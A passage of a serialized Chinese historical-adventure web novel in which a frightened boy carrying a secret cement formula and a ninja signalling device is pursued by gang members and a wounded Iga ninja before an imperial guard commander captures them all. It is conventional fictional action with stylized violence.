他死死捂住嘴巴,生怕发出一丝声响。 怀里的油布包紧贴着胸口,“鸣蝉”的震动透过布料清晰地传来,每一次震动都像重锤敲打在他脆弱的心脏上。 他听见前堂传来张伯谄媚讨好的声音:“哎哟!军爷!这么晚了……辛苦辛苦!不知……不知有何贵干啊?” 接着是金吾卫士兵冰冷、毫无感情的声音:“奉毛将军令!全城搜捕倭寇细作同党!昨夜有细作受伤潜逃!你这里……可有收治可疑伤者?!” 声音如同寒冰,带着不容置疑的威严和杀气。 “没……没有啊军爷!”张伯的声音带着明显的颤抖, “小……小店今晚就……就接了个发热的小娃……早……早就打发走了……再……再没别人了……” “哼!搜!”士兵冷哼一声,根本不信。 紧接着,传来杂乱的脚步声、翻箱倒柜声、药柜被粗暴拉开的声音、瓷瓶摔碎的脆响! 士兵们粗暴的搜查着前堂和相连的诊室。 霖哥儿的心提到了嗓子眼! 他能感觉到士兵的脚步声越来越近后院! 金顺义……会不会被发现? 张伯会不会顶不住压力出卖他们? 他该怎么办? 跑? 往哪跑? 后院只有这一条路! 绝望如同冰冷的藤蔓,紧紧缠绕住他幼小的心脏。 他闭上眼睛,小小的身体因为极致的恐惧而剧烈颤抖,泪水无声地汹涌而出。 娘……娘……我怕…… 后院柴房内,金顺义在剧痛和窒息中艰难地恢复了一丝意识。 沉重的麻袋和草席压得他喘不过气,浓烈的血腥味和药草味混合着灰尘,呛得他肺部如同火烧。 浑身上下无处不在的剧痛,尤其是被鼠群撕咬过的伤口,如同被无数烧红的钢针反复穿刺! 更可怕的是,他感觉有什么冰冷、湿滑、带着腥臭的东西,正在他脸上、脖子上爬动! 还有细微的、令人毛骨悚然的“吱吱”声! 老鼠! 是那些带着血腥味的老鼠! 它们竟然循着气味,从鼠道钻进了医馆柴房! 它们嗅到了他身上同伙的血腥气! 它们是毛梦极放出来的“血鼠”! 是来索命的! “呃……嗬……”金顺义喉咙里发出压抑不住的、如同破风箱般的恐惧呜咽! 他想挣扎,想尖叫,但身体如同被抽干了所有力气,连动一根手指都做不到! 冰冷的鼠爪划过他的脸颊,尖利的牙齿触碰着他脖颈的伤口……死亡的恐惧瞬间将他彻底淹没! 他仿佛看到毛梦极那张枯瘦如鬼的脸,正对着他露出残忍的微笑! 不! 他不能死在这里! 情报……情报还在那个孩子手里! 他必须……必须把消息送出去! 给黑蝎!或者……给倭人! 他用尽最后一丝残存的意志和力气,猛地咬破了自己的舌尖! 剧痛让他精神一振! 他喉咙里发出“嗬嗬”的怪响,用尽全身力气,极其微弱地、断断续续地吐出几个字:“……孩……孩子……包……黑……黑蝎……倭人……金……金山……” 声音微弱如同蚊蚋,但在死寂的柴房里,却清晰地传入了躲在柴堆后、同样被老鼠吓得魂飞魄散的霖哥儿耳中! 第683章 剁碎了喂狗 霖哥儿浑身一颤! 他听到了! 金顺义在叫他! 让他把油布包……给黑蝎? 倭人? 金山? 他小小的脑袋里乱成一团麻。 黑蝎是坏人! 倭人更是敌人! 可是……金顺义快死了! 他……他是在交代后事吗? 就在这时,柴房的门“吱呀”一声被猛地推开! 一道雪亮的手提气死风灯的光柱瞬间刺破黑暗! 一个金吾卫士兵冰冷的声音响起:“柴房!搜仔细点!” 霖哥儿吓得魂飞魄散! 死死捂住嘴巴,连呼吸都停止了! 光柱在柴房里扫射! 掠过那堆盖着金顺义的麻袋和草席! 掠过瑟瑟发抖的霖哥儿藏身的柴堆! 士兵的脚步声越来越近! 霖哥儿甚至能看到士兵靴子上沾着的泥污! 完了! 要被发现了! 就在这千钧一发之际! “吱吱——!!”一阵尖锐的老鼠嘶叫声响起! 几只硕大的老鼠被灯光惊扰,猛地从麻袋堆里窜出! 朝着士兵的脚下扑去! “妈的!老鼠!”士兵吓了一跳,下意识地后退一步,一脚踩在窜过的老鼠身上! “噗嗤!” 一声令人作呕的闷响! 老鼠被踩得肠穿肚烂! 同时,更多的老鼠被惊动,从角落、柴堆里疯狂窜出!在柴房里乱窜! “晦气!”士兵骂骂咧咧,显然被这突如其来的鼠群恶心到了,光柱胡乱扫了几下,没发现异常(霖哥儿缩在柴堆最深处,被阴影和杂物完美遮挡),便不耐烦地退了出去,“砰”地一声关上了柴房门! “走!去别处看看!这破地方老鼠成精了!” 霖哥儿瘫软在柴堆里,如同刚从水里捞出来,浑身被冷汗浸透。 他大口喘着粗气,心脏狂跳得几乎要炸开。 他看了一眼麻袋堆方向,那里已经没了动静,只有老鼠啃噬的细微声响……金顺义……恐怕……他不敢再想,死死抱住怀里的油布包,小小的身体因为后怕和恐惧而剧烈颤抖。 前堂的搜查声渐渐远去,金吾卫似乎离开了。 但他知道,危险远未结束! 他必须离开这里!立刻!马上! ...... “蝎子窝”深处,黑蝎的窝棚里,油灯的火苗不安地跳动着。 黑蝎烦躁地踱着步,三角眼中闪烁着凶戾而贪婪的光芒。 服部半藏那濒死的模样和冰冷的话语还在他脑中回荡。 “孩子……情报……萨摩藩的金山……”他舔了舔干裂的嘴唇,脸上横贯的刀疤在昏暗灯光下如同蠕动的蜈蚣。 “妈的!干了!” 他猛地一拍桌子,对着门外吼道:“疤痢头!疯狗!死哪去了?!” 两个凶神恶煞的喽啰立刻冲了进来。“老大!” “听着!”黑蝎眼中凶光毕露,“给老子把‘蝎子窝’所有出入口都盯死了!再派几个机灵的,去附近几条街的医馆、药铺、还有那些收留流民的破庙附近转悠!看到有受伤的小崽子,或者背着人的半大孩子,尤其是生面孔!都给老子盯紧了!想办法弄回来!记住!要活的!还有!他手里或者身上,肯定有个油布包!或者什么古怪的‘虫子’!一定要拿到手!听见没有?!谁要是办砸了……老子把他剁碎了喂狗!” 他声音嘶哑,充满了残忍的兴奋。 “是!老大!”疤痢头和疯狗齐声应道,眼中闪烁着残忍和贪婪的光芒。 很快,数十名“蝎子帮”的亡命徒如同闻到血腥味的鬣狗,悄无声息地融入了沪县老城和新城边缘的黑暗之中,一张无形的、充满恶意的巨网,在黑夜中悄然张开。 霖哥儿趁着张伯惊魂未定、忙着收拾被金吾卫翻得一片狼藉的前堂时,如同受惊的兔子,悄悄从后院柴房的破窗户爬了出去。 他不敢走大路,只能在迷宫般的小巷中盲目穿行。 怀里的油布包和“鸣蝉”如同烧红的烙铁,烫得他心慌意乱。 金顺义最后的话在他耳边回响:“……包……黑蝎……倭人……金山……” 黑蝎……蝎子窝……他知道那个地方,是沪县最可怕、最肮脏的流民窟,连金吾卫都不愿轻易进去。 他要去吗? 去了会怎么样? 被黑蝎抓住? 交给倭人? 他不敢想。 可是不去……又能去哪里? 回工棚? 会连累工头和娘! 找世子殿下? 他连世子殿下的面都见不到! 他像一只迷失在黑暗森林中的幼兽,恐惧、迷茫、无助,漫无目的地在小巷中游荡。 又累又饿又怕,小小的身体已经透支到了极限。 他只想找个安全的地方躲起来,好好睡一觉。 不知不觉,他走到了新城边缘一片相对僻静、但依旧破败的区域,这里有一些废弃的仓库和工棚。 他看到一个半塌的窝棚,里面似乎没人,便如同找到救命稻草般钻了进去。 窝棚里散发着霉味和尘土味,但至少能遮风挡雨。 他蜷缩在角落的干草堆里,紧紧抱着怀里的油布包,疲惫和恐惧如同潮水般将他淹没,很快便沉沉睡去。 他不知道,在他身后不远处的一条黑暗巷口,一双如同毒蛇般阴鸷的眼睛,正死死地盯着他钻进窝棚的身影。 正是疤痢头! 他奉黑蝎之命,带着两个手下在这一带蹲守,没想到真的撞上了一个落单的、疲惫不堪的孩子! “嘿!踏破铁鞋无觅处!老大要的小崽子!上!” 疤痢头脸上露出残忍的笑容,一挥手,三人如同饿狼般悄无声息地扑向那个半塌的窝棚! 窝棚里,霖哥儿在噩梦中惊醒! 他梦见无数老鼠在啃噬他的身体! 梦见金吾卫冰冷的刀锋! 梦见黑蝎狰狞的脸! 他猛地坐起,心脏狂跳! 就在这时,窝棚入口的破草帘被猛地掀开! 三个凶神恶煞的身影堵住了出口! 昏暗中,霖哥儿看到他们脸上狰狞的笑容和眼中闪烁的凶光! “小兔崽子!跑得挺快啊!”疤痢头狞笑着,一步步逼近,“把身上的东西交出来!跟我们走!老大要见你!” 霖哥儿吓得魂飞魄散!他认出了疤痢头! 是“蝎子帮”的人! 黑蝎的手下! 他们找来了! 他尖叫一声,如同受惊的兔子,猛地向后缩去,双手死死护住怀里的油布包! “妈的!敬酒不吃吃罚酒!”疤痢头啐了一口,伸手就向霖哥儿抓来! 霖哥儿情急之下,抓起地上的一把尘土,猛地朝疤痢头脸上扬去! “啊!我的眼睛!”疤痢头猝不及防,被尘土迷了眼睛,惨叫一声! 趁着这瞬间的混乱,霖哥儿如同离弦之箭,从疤痢头腋下的空隙猛地窜了出去! 冲出窝棚! 没命地向黑暗的小巷深处狂奔! 他听到身后疤痢头愤怒的咒骂和追赶的脚步声! 恐惧给了他力量! 他像一只慌不择路的小鹿,在小巷中左冲右突,利用自己对地形的熟悉(在港口工地跑腿锻炼出来的)和瘦小的身形,拼命躲避着身后的追兵! 怀里的“鸣蝉”震动得更加剧烈,仿佛在为他敲响丧钟! 他不知道该往哪里跑,只知道不能停下! 停下就是死路一条! 他慌不择路,一头冲进了一条更加狭窄、堆满垃圾和破筐的死胡同! 前面是死路! 后面是追兵! 绝望瞬间将他吞噬! 他背靠着冰冷的墙壁,看着疤痢头三人狞笑着逼近,小小的身体因为极致的恐惧而剧烈颤抖,眼中充满了泪水和无助。 完了……这次真的完了…… ...... 废弃染坊区,那间如同巨大棺材般的靛蓝染料仓库深处。 服部半藏躺在冰冷的地面上,意识在无边的黑暗和剧痛的深渊中沉浮。 脖颈处的伤口如同被烙铁反复灼烧,肿胀的皮肤紧绷欲裂,蔓延的黑线如同活物般向心口爬行。 左半边身体彻底失去知觉,冰冷麻木。 体内,那两股失控的剧毒如同两条发狂的毒龙,每一次冲撞都带来脏腑撕裂般的剧痛和深入骨髓的冰寒。 死亡的阴影如同粘稠的沥青,包裹着他,拖拽着他向深渊滑落。 然而,伊贺忍首那近乎变态的求生意志,如同黑暗中的一点火星,顽强地燃烧着。 他不能死! 不能死在这里! 伊贺的荣耀……萨摩藩的任务……还有……那个可能携带着“息壤”核心情报的孩子……强烈的执念如同无形的绳索,死死拽住他即将消散的意识。 他尝试着调动体内残存的内息,如同在干涸的河床上挖掘最后的水滴,引导着“九死还魂丹”残留的那一丝狂暴药力,艰难地冲击着被毒素堵塞的经脉。 每一次冲击都带来撕心裂肺的剧痛,如同千万根钢针在体内穿刺! 汗水如同小溪般从他蜡黄浮肿的脸上淌下,混合着污泥和血污。 他死死咬着牙,牙龈因为用力而渗出血丝,喉咙里发出野兽般的低沉嘶吼。 不知过了多久,就在他即将再次陷入昏迷之际,一股微弱却真实的气流,艰难地冲开了一处淤塞的穴道! 虽然只有一丝,却如同久旱逢甘霖! 他贪婪地引导着这丝微弱的气流,如同呵护着风中残烛,在体内极其缓慢地运行了一个小周天!剧痛稍减,冰寒稍退! 意识恢复了一丝清明! 他猛地睁开布满血丝的眼睛,瞳孔深处闪烁着如同受伤野兽般的疯狂和狠厉! 他挣扎着,用还能动弹的右手,颤抖着从怀中摸出最后一颗“九死还魂丹”! 看着这颗能救命也能要命的毒药,他眼中闪过一丝决绝! 没有犹豫! 他猛地咬破蜡封,将药丸吞下! 更狂暴的灼热洪流在腹中炸开! 如同岩浆喷发! 他闷哼一声,再次喷出一口黑血! 但这一次,他强行稳住了心神,引导着这股狂暴的药力,如同驾驭着脱缰的野马,狠狠撞向那些被毒素堵塞的经脉! 他要搏命! 以毒攻毒! 要么生! 要么……死得更快! 仓库内,只剩下他压抑到极致的痛苦喘息和体内如同闷雷般的毒力冲撞声! 黑暗的染坊区,如同巨大的坟墓,埋葬着一条正在与死神搏斗的毒蛇。 而沪县的夜,依旧深沉,危机四伏。 第684章 服部救人 死胡同冰冷的墙壁如同铁钳般挤压着霖哥儿瘦小的脊背,污浊的泥水浸透了他破烂的草鞋,刺骨的寒意却远不及心中那灭顶的绝望。 疤痢头揉着被尘土迷住的眼睛,发出野兽般的怒吼,另外两个喽啰狞笑着,如同两堵移动的肉墙,彻底封死了狭窄的出口。 昏暗中,他们脸上横七竖八的刀疤和眼中闪烁的凶光,如同地狱爬出的恶鬼。 “小兔崽子!还挺能跑啊!”疤痢头吐掉嘴里的泥沙,声音嘶哑,带着被戏耍的狂怒,“把东西交出来!乖乖跟老子走!还能少吃点苦头!不然……” 他猛地从腰间抽出一把磨得锃亮的剔骨尖刀,在污浊的空气中虚劈了一下,发出“咻”的破空声! “老子把你身上的肉一片片剐下来喂狗!” 霖哥儿浑身抖如筛糠,牙齿咯咯作响,小小的身体因为极致的恐惧而蜷缩成一团,死死护住怀里的油布包。 那“鸣蝉”的震动透过布料清晰地传来,每一次震动都像重锤砸在他脆弱的心脏上。 他不能交出去! 金顺义临死前的话在他耳边回响:“……包……黑蝎……倭人……金山……” 他知道,这包里藏着要命的东西! 交出去,他会死得更快! 可是……不交……他环顾四周,三面是湿滑冰冷的墙壁,一面是步步紧逼的凶徒! 插翅难逃! 泪水混合着污泥和汗水,糊满了他的小脸,视线一片模糊。 娘……娘……我该怎么办……他仿佛看到娘亲在工坊里温柔而疲惫的笑容,看到自己第一次领到工钱时那份沉甸甸的喜悦……他不想死! 他猛地闭上眼,用尽全身力气发出一声凄厉的尖叫:“救命啊——!!!” 尖锐的童音在死寂的巷子里如同炸雷般响起! 疤痢头三人猝不及防,被这突如其来的尖叫震得一愣! 就在这电光石火的瞬间! 霖哥儿如同被逼入绝境的幼兽,爆发出惊人的力量! 他猛地弯腰,抓起地上混杂着碎石和污泥的烂泥,狠狠砸向离他最近的一个喽啰的脸! “噗!”烂泥糊了那喽啰一脸! “啊!我的眼睛!” 喽啰惨叫一声,下意识地捂脸后退! 霖哥儿抓住这千分之一秒的空隙,如同离弦之箭,猛地从疤痢头腋下和墙壁之间的狭窄缝隙中钻了过去! 动作快如闪电! 拼尽了所有的求生本能! “妈的!抓住他!”疤痢头反应过来,气急败坏地怒吼! 三人如同被激怒的疯狗,转身狂追! 霖哥儿头也不回,在狭窄、湿滑、堆满垃圾的小巷中亡命狂奔! 心脏狂跳得几乎要炸开胸膛! 肺部如同火烧般灼痛! 双腿如同灌了铅般沉重! 但他不敢停! 不能停! 身后沉重的脚步声、粗重的喘息声、恶毒的咒骂声如同跗骨之蛆! 越来越近!怀里的“鸣蝉”震动得更加剧烈,仿佛在催促他,又仿佛在嘲笑他! 他慌不择路,拐进一条更窄、更暗、散发着浓烈尿臊味的岔道! 脚下突然一滑! “噗通!”一声! 他重重摔倒在地! 怀里的油布包脱手飞出! 滚落在几步外的污水坑里! “哈哈!小崽子!看你往哪跑!”疤痢头狞笑着扑了上来!巨大的阴影瞬间笼罩了霖哥儿! 霖哥儿绝望地看着那肮脏的油布包,又看看疤痢头那张狰狞的脸,眼中充满了极致的恐惧和不甘! 完了! 一切都完了! 就在疤痢头粗糙的大手即将抓住他衣领的瞬间! “咻——!!” 一声极其轻微、却带着致命寒意的破空声,毫无征兆地从巷口上方的屋檐阴影中响起! “噗!” 一支通体漆黑、细如牛毛、闪烁着幽蓝光泽的毒针,精准无比地射入疤痢头伸出的手腕! “啊——!!”疤痢头发出一声凄厉到不似人声的惨嚎! 手腕瞬间变得乌黑肿胀! 剧痛如同电流般窜遍全身! 他猛地缩回手,惊恐地看着迅速蔓延的黑线! “谁?!谁他妈暗算老子?!”疤痢头又惊又怒,捂着手腕,三角眼中充满了恐惧和暴戾! 另外两个喽啰也吓得魂飞魄散,惊恐地看向巷口! 只见巷口屋檐的阴影中,一个如同鬼魅般的身影无声无息地滑落在地! 正是服部半藏! 他脸色苍白如纸,嘴唇干裂发紫,呼吸急促而紊乱,左臂无力地垂着,脖颈处那道紫黑色的伤口肿胀得如同一条狰狞的蜈蚣,爬满了半边脖颈! 但他的眼神却如同淬毒的寒冰,锐利、疯狂、充满了不顾一切的杀意! 他右手捏着几枚同样的毒针,身体微微颤抖,显然刚才那一击耗尽了他最后的气力! 他死死盯着地上的油布包,又扫了一眼惊恐的疤痢头三人,最后目光落在同样吓呆了的霖哥儿身上! “包……给我……”服部半藏的声音如同砂纸摩擦,带着垂死的喘息和不容置疑的命令。 疤痢头看着自己迅速变黑溃烂的手腕,又看看服部半藏那如同恶鬼般的模样,恐惧瞬间压倒了贪婪! “倭……倭人?!妈的!是毒针!快跑!!” 他发出一声惊恐的尖叫,再也顾不上什么油布包,转身就逃! 另外两个喽啰也吓得屁滚尿流,连滚爬带地跟着疤痢头消失在黑暗的巷子深处! 死胡同里,只剩下服部半藏、霖哥儿,和那个静静躺在污水坑里的油布包。 服部半藏剧烈地喘息着,每一次呼吸都牵动着体内的剧毒和丹毒,带来撕心裂肺的痛楚。 他踉跄着向前一步,试图去捡那个油布包,但身体一晃,差点栽倒在地! 他强行稳住身形,目光如同鹰隼般死死锁定霖哥儿:“孩……孩子……把……把包……给我……” 声音虚弱,却带着令人心悸的寒意。 霖哥儿蜷缩在墙角,小小的身体因为极致的恐惧而剧烈颤抖。 他看着眼前这个如同从地狱爬出来的、浑身散发着死亡气息的倭人,又看看地上那个沾满污泥的油布包。 金顺义临死前的话再次在耳边响起:“……倭人……金山……” 倭人! 就是他们害死了金顺义! 害得他落到这步田地! 他不能给他! 绝对不能! 一股莫名的勇气混合着恐惧和愤怒涌上心头! 他猛地从地上爬起来,不顾一切地扑向那个油布包! 一把将它紧紧抱在怀里! 然后转身,用尽全身力气,朝着巷口另一个方向亡命狂奔! “八嘎!”服部半藏眼中寒光爆射! 他没想到这个看似弱小的孩子竟敢反抗! 强烈的愤怒和求生的欲望瞬间压倒了身体的极限! 他低吼一声,如同受伤的野兽,爆发出最后的力量,朝着霖哥儿逃跑的方向狂追而去! 每一步落下,都如同踩在烧红的炭火上,剧痛钻心!毒素在体内疯狂肆虐! 但他不能停! 油布包里的情报! 还有那“鸣蝉”发出的信号! 是他活下去唯一的希望! 霖哥儿抱着油布包,在迷宫般的小巷中拼命奔跑,肺里如同着了火,双腿如同灌了铅。 他不敢回头,但能清晰地听到身后那沉重而踉跄的脚步声,如同索命的鼓点,越来越近! 那倭人受伤了! 但他还在追! 像一条甩不掉的毒蛇! 恐惧如同冰冷的潮水,几乎要将他淹没! 他慌不择路,一头冲进一条相对宽阔、但依旧昏暗的街道。 第685章 不,还给我 街道两旁是低矮破败的民居,门窗紧闭,死寂无声。他刚跑出几步,前方巷口突然闪出两条黑影!正是刚才逃跑的疤痢头手下!他们显然没跑远,躲在暗处观察! 看到霖哥儿独自一人跑出来,眼中再次闪烁起贪婪和凶光! “小崽子!看你往哪跑!” 两人狞笑着,一左一右包抄过来! 前有堵截! 后有追兵! 霖哥儿瞬间陷入绝境! 他绝望地停下脚步,背靠着冰冷的墙壁,小脸煞白,眼中充满了泪水。 怀里的油布包如同烧红的烙铁,那“鸣蝉”的震动仿佛变成了死神的丧钟! 服部半藏也追到了巷口,看到前方堵截的两人,眼中闪过一丝狠厉! 他毫不犹豫,右手一扬! “咻咻!”两支毒针激射而出! 直取那两人咽喉! 但这一次,他伤势太重,力道和准头都大失水准! 那两人有了防备,猛地向旁边一闪! 毒针擦着他们的衣角飞过,钉在墙上! “妈的!倭人!找死!”两人又惊又怒,拔出腰间的短刀,恶狠狠地扑向服部半藏! 服部半藏强提一口气,拔出腰间的淬毒苦无,迎了上去! 但他伤势太重,动作远不如平时迅捷! 一个照面,就被其中一人一刀划破手臂! 鲜血瞬间染红了衣袖! 他闷哼一声,踉跄后退! 另一个喽啰趁机一刀劈向他面门! 服部半藏勉强侧身躲过,但脚下不稳,重重摔倒在地! 毒素和失血带来的眩晕感如同潮水般将他吞噬! 他挣扎着想爬起来,却力不从心! 那两个喽啰见服部半藏倒地,眼中凶光大盛! “先宰了这个倭人!再抓那小崽子!”他们举起刀,狞笑着扑向服部半藏!眼看服部半藏就要命丧刀下! “呜——呜——呜——!!” 一阵低沉雄浑、穿透力极强的号角声,毫无征兆地在寂静的夜空中响起! 如同远古巨兽的咆哮! 瞬间压过了所有的嘈杂! 紧接着,街道两端的巷口,同时亮起一片雪亮刺眼的火光! 数十支熊熊燃烧的火把,将整条街道照耀得如同白昼! “金吾卫在此!放下武器!束手就擒!!”一个冰冷威严、如同金铁摩擦的声音在火光中炸响! 毛梦极! 如同地狱归来的魔神,按刀伫立在街道一端! 他枯瘦的身形在火光下拉出长长的、如同鬼魅般的影子! 玄色鱼鳞甲上凝结着夜露,闪烁着冰冷的寒芒! 眼神锐利如鹰隼,扫过场中众人,带着掌控一切的冰冷杀意! 他身后,数十名金吾卫精锐士兵手持劲弩“追魂”,腰悬狭锋横刀,冰冷的箭簇在火光下闪烁着致命的寒芒! 如同沉默的杀戮机器,瞬间封锁了街道所有出口! 疤痢头的两个手下瞬间僵在原地! 如同被施了定身法! 脸上的狞笑凝固成极致的恐惧! 金吾卫! 毛阎王! 他们怎么会在这里?! 完了! 全完了! 两人手中的短刀“哐当”一声掉在地上,身体抖如筛糠,噗通一声跪倒在地! “饶……饶命啊!军爷!我们……我们是被逼的!” 服部半藏躺在地上,看着如同神兵天降的金吾卫和毛梦极,眼中充满了绝望和不甘! 功亏一篑! 他挣扎着想咬碎藏在牙齿里的毒囊(伊贺忍者最后的尊严),但毛梦极的目光如同实质般锁定了他! “拿下!留活口!”毛梦极的声音冰冷刺骨! 两名金吾卫士兵如狼似虎般扑上,瞬间卸掉服部半藏的下巴,将他死死按在地上! 彻底断绝了他自杀的可能! 霖哥儿蜷缩在墙角,看着这突如其来的剧变,小脸上充满了茫然和更深的恐惧! 金吾卫! 毛阎王! 他亲眼见过毛阎王处决犯人! 那血淋淋的场面至今让他噩梦连连! 他下意识地抱紧怀里的油布包,小小的身体因为恐惧而剧烈颤抖。 毛梦极的目光如同冰冷的探照灯,扫过霖哥儿,落在他怀里那个沾满污泥的油布包上,眼中闪过一丝不易察觉的精光。 “孩子,”毛梦极的声音依旧冰冷,却带上了一丝奇异的、如同安抚又如同命令的意味,“过来。把东西交给本将。” 他缓缓向前一步,枯瘦的身影在火光下投下巨大的阴影,如同山岳般压向霖哥儿。 霖哥儿看着毛梦极那张枯瘦如鬼、刀疤狰狞的脸,看着他身后那些如同标枪般挺立、散发着铁血煞气的金吾卫士兵,又看看地上如同死狗般被按住的服部半藏……巨大的恐惧如同冰冷的巨手,死死扼住了他的喉咙! 他该怎么办? 把油布包交给毛阎王? 他会怎么样? 像金顺义一样被关进水牢? 还是……像他父亲王有德一样……他不敢想! 可是……不交? 他能逃得掉吗? 他绝望地环顾四周,金吾卫士兵冰冷的箭簇已经锁定了他的每一个方向! 插翅难逃! 怀里的“鸣蝉”还在持续不断地震动,仿佛在催促他做出最后的抉择……泪水无声地滑落,他小小的身体在毛梦极那巨大的威压下,如同风中残烛般瑟瑟发抖。 时间仿佛凝固了。 火把燃烧发出噼啪的爆响,油脂滴落的声音在死寂的街道上清晰可闻。 金吾卫士兵如同雕塑般纹丝不动,只有冰冷的箭簇在火光下微微闪烁,散发着致命的寒意。 跪在地上的两个喽啰抖如筛糠,额头死死抵着冰冷的地面,大气不敢出。 服部半藏被死死按在地上,下巴脱臼的痛苦让他发出含糊不清的呜咽,眼中充满了怨毒和绝望的火焰,死死盯着霖哥儿怀里的油布包。 毛梦极的耐心似乎被这死寂磨耗殆尽。 他瘦瘦的手指在腰间的刀柄上轻轻敲击,发出“哒……哒……”的轻响,如同催命的倒计时。 那声音不大,却如同重锤般敲在霖哥儿脆弱的心弦上! 他小小的身体猛地一颤,下意识地后退一步,脚跟却撞在冰冷的墙壁上,退无可退! “孩子,”毛梦极的声音再次响起,比刚才更冷,带着一丝不容置疑的压迫,“本将的话,不说第二遍。把那东西交出来。” 他微微侧头,一个眼神示意。两名金吾卫士兵立刻上前一步,沉重的军靴踏在石板路上,发出沉闷的“咚!咚!”声! 如同踏在霖哥儿的心口! 他们手中的劲弩微微抬起,冰冷的箭簇在火光下闪烁着幽蓝的淬毒寒光,精准地指向霖哥儿的胸口! 死亡的恐惧如同冰水浇头! 霖哥儿浑身血液仿佛瞬间冻结! 他死死咬住下唇,尝到了浓重的血腥味。 怀里的油布包滚烫无比,“鸣蝉”的震动仿佛要穿透他的胸膛! 他想起金顺义临死前那扭曲的脸,想起服部半藏那如同毒蛇般的眼神,想起黑蝎手下狰狞的刀疤……他不能给他们! 绝对不能! 可是……毛阎王……他……他会杀了我吗? 他颤抖着抬起头,泪眼朦胧中,看到毛梦极那双深不见底、如同寒潭古井般的眼睛。 那里面没有怜悯,没有温度,只有冰冷的审视和掌控一切的漠然。 仿佛他不是一个活生生的孩子,而是一件需要处理的物品。 就在这千钧一发之际! 霖哥儿怀里的“鸣蝉”突然发出一阵极其尖锐、如同蜂群炸窝般的急促嗡鸣! 同时,顶端的红色光点疯狂闪烁! 光芒穿透油布包,在昏暗的街道上投下一小片诡异的红光! 这突如其来的异变让所有人都是一惊! “嗯?!”毛梦极眉头微蹙,锐利的目光瞬间锁定霖哥儿的胸口! 那红光……那嗡鸣……绝非寻常之物! “保护将军!”一名金吾卫小校厉喝! 数名士兵立刻上前一步,将毛梦极护在身后,弩箭瞬间对准霖哥儿! 霖哥儿也被这突如其来的变故吓懵了! 他手忙脚乱地想捂住那闪烁的红光,却无济于事! 油布包在他怀里疯狂震动,仿佛要挣脱出来! 他吓得魂飞魄散,下意识地尖叫一声,手一松! “啪嗒!”油布包掉落在霖哥儿脚前的地面上! 包裹的油布散开一角,露出里面那本染血的“325#硅酸盐水泥配方及工艺参数(绝密)”册子的一角! 还有那个闪烁着刺眼红光、疯狂震动的黑色“鸣蝉”! “拿下!”毛梦极眼中精光爆射! 毫不犹豫地下令! 两名金吾卫士兵如猛虎般扑上! 一人瞬间将霖哥儿如同小鸡般拎起,死死按住! 另一人则闪电般俯身,一把抓起地上的油布包和“鸣蝉”! “不!还给我!” 霖哥儿发出绝望的哭喊,拼命挣扎,但如同蚍蜉撼树! 第686章 彻底肃清 毛梦极接过士兵递上的油布包,看都没看那本册子,目光死死锁定在那个仍在疯狂闪烁震动的“鸣蝉”上! 他枯瘦的手指捏住那冰冷的金属外壳,感受着那强烈的震动和刺眼的红光,嘴角勾起一抹冰冷的弧度。 “伊贺的‘鸣蝉’……哼!雕虫小技!”他猛地用力一捏! “咔嚓!”一声脆响! “鸣蝉”外壳碎裂! 红光瞬间熄灭! 震动戛然而止! 变成了一堆毫无生气的废铁! “带回去!严加看管!”毛梦极将油布包扔给身后的亲卫,目光扫过被按住的霖哥儿和地上如同死狗的服部半藏,“还有这两个倭寇同党!一并押入‘镇抚司’死牢!本将要亲自审问!” “是!”士兵齐声应喝,声震夜空! 霖哥儿如同被抽走了所有力气,瘫软在士兵铁钳般的大手中,小脸上泪水纵横,眼中只剩下无尽的恐惧和绝望。 完了……全完了…… 他会被关进那个传说中连鬼都出不来的“镇抚司”死牢! 像金顺义一样…… 他再也见不到娘了…… 他小小的身体因为巨大的悲伤和恐惧而剧烈抽搐着,发出压抑不住的呜咽。 服部半藏被粗暴地拖起来,下巴脱臼的痛苦让他面目扭曲,但他眼中那怨毒和绝望的火焰却燃烧得更加炽烈! 他死死盯着毛梦极,喉咙里发出“嗬嗬”的怪响,仿佛在诅咒! 萨摩藩的任务……彻底失败了! 他不仅没能拿到情报,反而成了阶下囚! 伊贺忍众的耻辱!他恨不得立刻死去! 但金吾卫士兵死死扣着他的关节,让他连咬舌自尽都做不到! “毛将军!那……那我们……”跪在地上的两个喽啰如同抓住救命稻草,磕头如捣蒜,“我们……我们是良民啊!是被倭寇逼的!求将军开恩!饶命啊!” 毛梦极冷冷地扫了他们一眼,如同看两只蝼蚁。 “黑蝎的人?哼!助纣为虐,私通倭寇!罪加一等!押下去!听候发落!” “将军饶命啊!饶命啊!”两人发出杀猪般的嚎叫,被金吾卫士兵如同拖死狗般拖走。 毛梦极按刀伫立,枯瘦的身影在火光下拉出长长的、如同魔神般的影子。 他环视着被彻底控制的街道,眼中没有丝毫胜利的喜悦,只有一片冰冷的深邃。 他缓缓抬起手,指向远处那片被黑暗笼罩的“蝎子窝”方向,声音如同寒冰砸落: “传令!封锁‘蝎子窝’所有出入口!调‘火器营’包围‘蝎子窝’! 天亮之前,一只苍蝇也不许飞出去! 黑蝎……该收网了!” “是!”传令兵领命,翻身上马,疾驰而去! 毛梦极的目光最后落在被士兵押着的、如同风中残烛般瑟瑟发抖的霖哥儿身上,眼中闪过一丝极其复杂的、难以言喻的光芒。 这孩子……或许……还有用。 他挥了挥手:“带走!” 金吾卫士兵押着俘虏,如同黑色的潮水般迅速退去。 火把的光芒渐渐远去,街道重新陷入死寂的黑暗。 只有地上那摊被踩烂的老鼠尸体和几滴尚未干涸的污血,无声地诉说着刚才那场惊心动魄的生死搏杀。 “蝎子窝”深处,恶臭弥漫。 黑蝎的窝棚里,油灯的火苗不安地跳动着。 黑蝎烦躁地踱着步,三角眼中闪烁着凶戾而贪婪的光芒。 疤痢头捂着乌黑溃烂、散发着恶臭的手腕,跪在地上,疼得龇牙咧嘴,断断续续地汇报着刚才的遭遇:“……老……老大……那倭人……太……太邪门了!会……会放毒针!还……还有金吾卫!毛……毛阎王亲自来了!疤痢头和疯狗……被……被抓了!那……那小崽子……也……也被抓了……” “废物!一群废物!”黑蝎一脚将疤痢头踹翻在地,气得浑身发抖! 到嘴的鸭子飞了! 还折了两个手下! 更可怕的是,毛阎王亲自出手了! 还抓了倭人和那个孩子! 他感觉一股巨大的危机感如同冰冷的毒蛇,缠绕上他的脖颈! 他猛地抓起桌上的酒壶,狠狠灌了一口劣质烧刀子,试图压下心中的恐惧。 “妈的!毛阎王……他……他会不会……”他话未说完! “呜——呜——呜——!!” 那低沉雄浑、穿透力极强的金吾卫号角声,如同死神的召唤,再次在夜空中凄厉响起! 这一次,声音近在咫尺! 仿佛就在“蝎子窝”的头顶炸响! 